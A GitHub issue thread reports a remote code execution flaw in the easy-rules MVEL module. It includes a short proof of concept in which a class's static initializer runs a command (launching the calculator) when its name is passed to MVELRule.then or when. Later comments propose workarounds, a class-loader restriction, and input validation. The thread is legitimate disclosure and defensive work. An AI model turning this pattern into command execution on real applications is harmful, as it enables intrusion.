Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

MVELRule Remote Code Execution #419

Open
sirnple opened this issue Dec 6, 2023 · 5 comments
Open

MVELRule Remote Code Execution #419

sirnple opened this issue Dec 6, 2023 · 5 comments

Comments

@sirnple
Copy link

sirnple commented Dec 6, 2023

easy-rules-mvel version: 4.1.0

I have run code like:

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.then("jaz.Zer");
} catch (Exception e) {
}

Meanwhile I hava class jaz.Zer in classpath, which content is:

import java.io.IOException;

public class Zer {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

On Windows platform, above code will open my PC's calculator

Additional: MVELRule.when also leads to this RCE

try {
    MVELRule mVELRule = new MVELRule();
    MVELRule result = mVELRule.when("\bjaz.Zer");
} catch (Exception e) {
}
@dvgaba
Copy link

dvgaba commented Feb 1, 2024

It's a limitation of mvel expression language.

@LuisMedinaG
Copy link

Hi! Do you have an update on this, is there a workaround or fix for this?
I see the vulnerability is still open.

@dmuley17
Copy link

Do we have any workaround to fix the vulnerability ?

@leaf-soba
Copy link

If you don't need new features 4.1.0, just downgrade to 4.0.0, it is a safe version with only a irrelevant vulnerability in JUnit.

@relaxnow
Copy link

relaxnow commented Jan 2, 2025

Today a customer of ours (Veracode Application Security Consulting) ran into this vulnerability and asked us to help review as Veracode Software Composition Analysis (SCA) was blocking their release.

Veracode SCA ( https://sca.analysiscenter.veracode.com/vulnerability-database/security/remote-code-execution/java/sid-44914/summary ) includes earlier versions as the same functionality is also present in versions (we tracked when and then to version 3.1.0).

Reviewing this vulnerability I would agree with @dvgaba , this is a 'limitation' or 'feature' of MVEL.
Loading arbitrary classes can be used safely, after all, this is what Java source code does, but does mean that the input would need to be subject to the same type of review that source code does.
And not all developers may realize this and some may decide to use user supplied input in when and then clauses making their application vulnerable to Remote Code Execution.

Perhaps @fmbenhassine could consider restricting the class loader by default to not load any classes? In my testing the below stopped the vulnerability:

import org.jeasy.rules.mvel.MVELRule;
import org.mvel2.ParserConfiguration;
import org.mvel2.ParserContext;

public class App 
{
    public static class RefusingClassLoader extends ClassLoader {
        public RefusingClassLoader() {
            super();
        }

        public RefusingClassLoader(ClassLoader parent) {
            super(parent);
        }

        @Override
        protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
            throw new ClassNotFoundException("Class loading is disabled by RefusingClassLoader: " + name);
        }

        @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            throw new ClassNotFoundException("Class loading is disabled by RefusingClassLoader: " + name);
        }
    }

    public static void main( String[] args )
    {
        try {
            ParserConfiguration config = new ParserConfiguration();
            config.setClassLoader(new RefusingClassLoader());
            MVELRule mVELRule = new MVELRule(new ParserContext(config));
            mVELRule.then("import Zer;");
            System.out.println( "mVELRule executed!" );
        } catch (Exception e) {
            System.out.print(e);
        }
        System.out.println( "Hello World!" );
    }
}

For my customer I recommended 2 things:

  1. In the short term, validate that input to MVERule.then and MVERule.when is strictly controlled and it's uses have documentation to remind developers that this must always be strictly controlled.
  2. In the long term, migrate to another actively developed rule engine as this appears to have been 'in maintenance mode' for 4 years: https://github.com/j-easy/easy-rules#project-status .

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Development

No branches or pull requests

6 participants